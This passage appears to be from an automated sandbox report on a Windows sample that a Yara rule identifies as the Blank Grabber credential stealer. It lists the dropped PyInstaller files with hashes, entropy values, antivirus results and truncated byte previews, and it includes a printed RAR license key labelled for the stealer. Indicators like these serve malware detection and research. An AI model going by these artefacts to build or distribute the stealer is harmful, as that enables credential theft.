SHA-512:	A16A9E11FCA4D75B9ED5CC049E52B13ED5962CE76565696D7EC22BE47B6A95C1AD7C7A4875715D3F1BEB5A2909F9A37982A13362833FF7259CC2D625B6B5FB72
Malicious:	false
Preview:	L...a6zg.............debug$S............................@..B.rsrc$01........X.......d...........@..@.rsrc$02........P...n...............@..@........W....c:\Users\user\AppData\Local\Temp\bexzy300\CSC6721B5F011FD4FBD8DF74B583831980.TMP................&:.x.P....[..w...........7.......C:\Users\user~1\AppData\Local\Temp\RES5209.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe..............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.e.x.z.y.3.0.0...d.l.l.....(.....

C:\Users\user\AppData\Local\Temp\_MEI33962\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: riFSkYVMKB.exe, Detection: malicious, Browse Filename: mcgen.exe, Detection: malicious, Browse Filename: AimStar.exe, Detection: malicious, Browse Filename: DChOtFdp9T.exe, Detection: malicious, Browse Filename: user.exe, Detection: malicious, Browse Filename: HX Design.exe, Detection: malicious, Browse Filename: YgJ5inWPQO.exe, Detection: malicious, Browse Filename: wp-s2.exe, Detection: malicious, Browse Filename: wp-s2.exe, Detection: malicious, Browse Filename: wp-cent.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI33962\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49944
Entropy (8bit):	7.790464947091356
Encrypted:	false
SSDEEP:	768:JpidZ+u7Tclz8mYAR9jL7GWLRsYIe+9ZypJEIvCVH0S5YiSyv4AMxkEd:idYuTeh9jLN+BXIEIvCVHV7Sy+xJ
MD5:	1D9398C54C80C0EF2F00A67FC7C9A401
SHA1:	858880173905E571C81A4A62A398923483F98E70
SHA-256:	89006952BEE2B38D1B5C54CC055D8868D06C43E94CD9D9E0D00A716C5F3856FA
SHA-512:	806300D5820206E8F80639CCB1FBA685AAFA66A9528416102AEB28421E77784939285A88A67FAD01B818F817A91382145322F993D855211F10E7BA3F5563A596
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!...!...!...(.o.+...1I..#...1I.."...1I..%...1I..)...1I..,...iH.."...j...#...!...~...iH..)...iH.. ...iH.. ...iH.. ...Rich!...........PE..d....g.f.........." ...).............e....................................................`.............................................H.................... ..,...................................................q..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60696
Entropy (8bit):	7.8398712444446845
Encrypted:	false
SSDEEP:	1536:FV+aMfd4DTR6Ukvr/MUCXKxGIe/qxUuj9IvLP3C7SyIxmL:uaMfd4D963/rC6/UuRIvLP3CjL
MD5:	2401460A376C597EDCE907F31EC67FBC
SHA1:	7F723E755CB9BFEAC79E3B49215DD41FDB5C2D90
SHA-256:	4F3F99B69834C43DAC5C3F309CB0BD56C07E8C2AC555DE4923FA2DDC27801960
SHA-512:	9E77D666C6B74CFB6287775333456CCE43FEB51EC39AD869C3350B1308E01AD9B9C476C8FA6251FE8AD4AB1175994902A4AD670493B95EB52ADB3D4606C0B633
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f~.............................................................................){.............................................Rich............PE..d....g.f.........." ...)............`........................................P............`.........................................HL.......I.......@.......................L......................................p:..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	110360
Entropy (8bit):	7.936298430802442
Encrypted:	false
SSDEEP:	3072:7RimMfx90veyiqn/2lwhqLGaRIvOqZ7Iqc:aD5qnY6B7/c
MD5:	DF361EA0C714B1A9D8CF9FCF6A907065
SHA1:	102115EC2E550A8A8CAD5949530CCA9993250C76
SHA-256:	F78EE4524EB6E9885B9CBDB125B2F335864F51E9C36DC18FDCCB5050926ADFFE
SHA-512:	B1259DF9167F89F8DF82BDA1A21A26EE7EB4824B97791E7BBAA3E57B50AE60676762FD598C8576D4E6330FFAF12972A31DB2F17B244C5301DCF29FE4ABFBA43F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J6U.+X..+X..+X..S...+X..Y..+X..[..+X..\..+X..]..+X...Y..+X..SY..+X..+Y.E+X...[..+X...U..+X...X..+X......+X...Z..+X.Rich.+X.................PE..d....g.f.........." ...).p...................................................@............`..........................................<..P....9.......0..........d&...........=.......................................+..@...........................................UPX0....................................UPX1.....p.......n..................@....rsrc........0.......r..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36632
Entropy (8bit):	7.678631968364815
Encrypted:	false
SSDEEP:	768:PbKdUeBIro4sU/QKPpFTvIvOIiX5YiSyv/AMxkEU:PG9Ws9K7TvIvOIiJ7Sy3xg
MD5:	D4C05F1C17AC3EB482B3D86399C9BAAE
SHA1:	81B9A3DD8A5078C7696C90FBD4CF7E3762F479A5
SHA-256:	86BD72B13A47693E605A0DE1112C9998D12E737644E7A101AC396D402E25CF2F
SHA-512:	F81379D81361365C63D45D56534C042D32EE52CAD2C25607794FE90057DCDEEB2B3C1FF1D2162F9C1BDF72871F4DA56E7C942B1C1AD829C89BF532FB3B04242E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........WH@.6&..6&..6&..N...6&...'..6&...%..6&..."..6&...#..6&...'..6&..N'..6&...'..6&..6'.16&...+..6&...&..6&......6&...$..6&.Rich.6&.........................PE..d....g.f.........." ...).P...........!.......................................@............`.........................................\|;..P....9.......0.......................;.......................................-..@...........................................UPX0....................................UPX1.....P.......P..................@....rsrc........0.......T..............@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88344
Entropy (8bit):	7.921783356541484
Encrypted:	false
SSDEEP:	1536:eIGaRru59ZAec90CDOOgOxjdqNWibksK3zOAOdS8Ujd1lXIvZ1ME7SykxG:do59ZAd9HDOONZibkDudKNIvZ1MEB
MD5:	E0FA126B354B796F9735E07E306573E1
SHA1:	18901CE5F9A1F6B158F27C4A3E31E183AA83251B
SHA-256:	E0DC01233B16318CD21CA13570B8FDF4808657EC7D0CC3E7656B09CCF563DC3E
SHA-512:	DD38100889C55BFFC6C4B882658ECD68A79257BC1FFD10F0F46E13E79BFF3FC0F908AE885CC4A5FED035BD399860B923C90EF75E203B076B14069BF87610F138
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,..:,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..V,.V.,..-.V.,Rich.V.,........PE..d....g.f.........." ...). ................................................................`.........................................4...L....................@.........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26904
Entropy (8bit):	7.474791946859441
Encrypted:	false
SSDEEP:	384:0V7dtcA8ZxHkZm+J/ifZa7gJXFHPIvQUiNdHQIYiSy1pCQkefAM+o/8E9VF0NyfC:27dtdGpBPIvQUiL5YiSyvRfAMxkE4
MD5:	84AA87C6DD11A474BE70149614976B89
SHA1:	C31F98EC19FC36713D1D7D077AD4176DB351F370
SHA-256:	6066DF940D183CF218A5053100E474D1F96BE0A4E4EE7C09B31EA303FF56E21B
SHA-512:	11B9F8E39C14C17788CC8F1FDDD458D70B5F9EF50A3BDB0966548DDCB077FF1BF8CA338B02E45EC0B2E97A5EDBE39481DD0E734119BC1708DEF559A0508ADC42
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\...........%.........................................................................I...........Rich...................PE..d....g.f.........." ...).0..........0.....................................................`.............................................L.......P............`..............<.......................................0...@...........................................UPX0....................................UPX1.....0.......*..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45336
Entropy (8bit):	7.725792098328606
Encrypted:	false
SSDEEP:	768:1NDTv9rez/QuT6QgD2liUHE559OF3tHvXrx2+pNb8IvLwXBk5YiSyvZAMxkE+ND:1hv9rerTPgK0UH659OFdXrgQb8IvLwX9
MD5:	1D982F4D97EE5E5D4D89FE94B7841A43
SHA1:	7F92FE214183A5C2A8979154ECE86AAD3C8120C6
SHA-256:	368CF569ADC4B8D2C981274F22181FEA6E7CE4FA09B3A5D883B0FF0BA825049D
SHA-512:	9ECDCF9B3E8DC7999D2FA8B3E3189F4B59AE3A088C4B92EAA79385ED412F3379EBE2F30245A95D158051DBD708A5C9941C150B9C3B480BE7E1C2BBA6DEA5CB24
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,...Ml}.Ml}.Ml}.5.}.Ml}..m\|.Ml}..o\|.Ml}..h\|.Ml}..i\|.Ml}..m\|.Ml}.Mm}.Ml}.5m\|.Ml}..a\|.Ml}..l\|.Ml}..}.Ml}..n\|.Ml}Rich.Ml}................PE..d....g.f.........." ...).p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59160
Entropy (8bit):	7.855211366058935
Encrypted:	false
SSDEEP:	1536:+dnfbpdoq4M+GCLtNWfmR9dki/W9sFCIvOQn87SyP1xb:+df1dsM+TtUOR3z+9sEIvOQn8J
MD5:	3911AE916C6E4BF99FE3296C3E5828CA
SHA1:	87165CBF8EA18B94216AC2D1FFE46F22EDDB0434
SHA-256:	3EC855C00585DB0246B56F04D11615304931E03066CB9FC760ED598C34D85A1F
SHA-512:	5C30ED540FDFA199CDF56E73C9A13E9AC098F47244B076C70056FD4BF46F5B059CB4B9CDB0E03568CA9C93721622C793D6C659704AF400BD3E20767D1893827E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V^.70..70..70..O...70...1..70.....70...3..70...4..70...5..70..1..70..O1..70..71..60..=..70..0..70....70..2..70.Rich.70.........................PE..d....g.f.........." ...).........p..@........................................@............`..........................................;..P....9.......0..........D............;......................................@&..@...........................................UPX0.....p..............................UPX1................................@....rsrc........0......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67864
Entropy (8bit):	7.844769254760915
Encrypted:	false
SSDEEP:	1536:kW6i4cCNOKktLpFgXyZoNSNrNIvC7M/o7SyOExJ:kW6i3SOKktgHNSNhIvC7MA/
MD5:	68E9EB3026FA037EE702016B7EB29E1B
SHA1:	60C39DEC3F9FB84B5255887A1D7610A245E8562E
SHA-256:	2AE5C1BDD1E691675BB028EFD5185A4FA517AC46C9EF76AF23C96344455ECC79
SHA-512:	50A919A9E728350005E83D5DD51EBCA537AFE5EB4739FEE1F6A44A9309B137BB1F48581BAFA490B2139CF6F035D80379BF6FFCDFF7F4F1A1DE930BA3F508C1AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I.^.(k..(k..(k..P...(k...j..(k...h..(k...o..(k...n..(k..j..(k...j..(k..(j..)k..Pj..(k..f..(k..k..(k.....(k..i..(k.Rich.(k.........PE..d....g.f.........." ...).........@.......P...................................0............`.........................................l,..d....)....... ..........D............,..........................................@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\base_library.zip

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1332793
Entropy (8bit):	5.5865879348515195
Encrypted:	false
SSDEEP:	12288:f8lJGUqc4rmn9OPNsxuy4htMHc1b4oDAs/SquRROzBMdmyP/H/V949/Rr2/Hg:f8lJGUU697ls30yMdmyPvP4t2/Hg
MD5:	BED03063E08A571088685625544CE144
SHA1:	56519A1B60314EC43F3AF0C5268ECC4647239BA3
SHA-256:	0D960743DBF746817B61FF7DD1C8C99B4F8C915DE26946BE56118CD6BEDAEBDC
SHA-512:	C136E16DB86F94B007DB42A9BF485A7C255DCC2843B40337E8F22A67028117F5BD5D48F7C1034D7446BB45EA16E530F1216D22740DDB7FAB5B39CC33D4C6D995
Malicious:	false
Preview:	PK..........!....uS...S......._collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI33962\blank.aes

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	115559
Entropy (8bit):	7.723718868633777
Encrypted:	false
SSDEEP:	1536:w9JWdct2jB5C23NFb4t4xK5OyqBsbpfdvwMVzWyz+mF4Bc9a3Y76DlhLxhm07ZPR:JcIXtdUkK7ZfK0zr46l7omEZP+Pu
MD5:	9ECBE007F6D77B27B5C03B80C18BD2C2
SHA1:	FB2E7782CD7250E78FA44CB49A2BE0A93439AB76
SHA-256:	5A69D11EC9CA86133EDB2CB1D2CF024EBA04D33831BD5E6062F333C1C89C1D4A
SHA-512:	027CF2CCAB595A87A1B7C0FD9C3EA5E4F6A8C93A2EF5C76CA4C1324A28BB15872D584D4798D77191403578BD94BC54E5E8CFB0F2759F04983327F0E2B5BC7306
Malicious:	false
Preview:	PK...........Y...............stub-o.pyc........\.Ug.!...............................e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z.d...Z.d.Z.....e...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j.......

C:\Users\user\AppData\Local\Temp\_MEI33962\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1630488
Entropy (8bit):	7.952879310777133
Encrypted:	false
SSDEEP:	49152:f3Y7UGnm3dtF6Q5xkI61CPwDvt3uFlDCm:/Y7Bm3dz6Q5c1CPwDvt3uFlDCm
MD5:	8377FE5949527DD7BE7B827CB1FFD324
SHA1:	AA483A875CB06A86A371829372980D772FDA2BF9
SHA-256:	88E8AA1C816E9F03A3B589C7028319EF456F72ADB86C9DDCA346258B6B30402D
SHA-512:	C59D0CBE8A1C64F2C18B5E2B1F49705D079A2259378A1F95F7A368415A2DC3116E0C3C731E9ABFA626D12C02B9E0D72C98C1F91A359F5486133478144FA7F5F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(. .......p:.`.P...:..................................0S...........`......................................... .P......P.h.....P...... L. .............S..................................... .P.@...........................................UPX0.....p:.............................UPX1..... ....:.....................@....rsrc.........P......"..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	227096
Entropy (8bit):	7.928768674438361
Encrypted:	false
SSDEEP:	6144:PpEswYxCQyTp2Z/3YUtoQe5efEw+OXDbM3nFLQdFM4mNJQ:PpAqo92h3Y660Ew+OTbAFLQd2lw
MD5:	B2E766F5CF6F9D4DCBE8537BC5BDED2F
SHA1:	331269521CE1AB76799E69E9AE1C3B565A838574
SHA-256:	3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4
SHA-512:	5233C8230497AADB9393C3EE5049E4AB99766A68F82091FE32393EE980887EBD4503BF88847C462C40C3FC786F8D179DAC5CB343B980944ADE43BC6646F5AD5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.....P...... z....................................................`............................................,C......8............ ...M.................................................. ...@...........................................UPX0....................................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\python312.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1809688
Entropy (8bit):	7.993892045374985
Encrypted:	true
SSDEEP:	49152:3mXQjykoELSGO8z8teBQ7Qk/wfj/B6aGhjQ+owM7ehd:2X2R1LSG3Q7Jo+jZAehd
MD5:	2996CBF9598EB07A64D66D4C3ABA4B10
SHA1:	AC176AB53CDEF472770D27A38DB5BD6EB71A5627
SHA-256:	FEBA57A74856DEDB9D9734D12C640CA7F808EAD2DB1E76A0F2BCF1E4561CD03F
SHA-512:	667E117683D94AE13E15168C477800F1CD8D840E316890EC6F41A6E4CEFD608536655F3F6D7065C51C6B1B8E60DD19AA44DA3F9E8A70B94161FD7DC3ABF5726C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>._..._..._......_....\|.._......_......_......_...'..._...'..._..._...^.....B_......_....~.._......_..Rich._..................PE..d....g.f.........." ...)..........P..-k...P.................................. l...........`.........................................HOk......Ik......@k......._.8J............l. ............................9k.(... :k.@...........................................UPX0......P.............................UPX1..........P.....................@....rsrc........@k.....................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI33962\rarreg.key

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rarreg.key, Author: Joe Security
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI33962\select.pyd

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.4742652119544415
Encrypted:	false
SSDEEP:	768:hGXglQPhKpYj2IvQGi15YiSyvIKAMxkEtH:h3lyLj2IvQGib7Sywoxx
MD5:	0433850F6F3DDD30A85EFC839FBDB124
SHA1:	07F092AE1B1EFD378424BA1B9F639E37D1DC8CB9
SHA-256:	290C0A19CD41E8B8570B8B19E09C0E5B1050F75F06450729726193CF645E406C
SHA-512:	8E785085640DB504496064A3C3D1B72FEAB6B3F0BC33676795601A67FCF410BAA9A6CD79F6404829B47FD6AFCD9A75494D0228D7109C73D291093CD6A42447FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d....g.f.........." ...).0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI33962\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\X9g8L63QGs.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	659224
Entropy (8bit):	7.993485985128715
Encrypted:	true
SSDEEP:	12288:+I2xdk6g1SJU1uQWhSskWXgN/YeZE21RUMza8WznRN/0Gk3KjQz:+bxYw+AXSskaSweZ91uMu80/MFakz
MD5:	19EFDD227EE57E5181FA7CEB08A42AA1
SHA1:	5737ADF3A6B5D2B54CC1BACE4FC65C4A5AAFDE50
SHA-256:	8A77B2C76440365EE3E6E2F589A78AD53F2086B1451B5BAA0C4BFE3B6EE1C49D
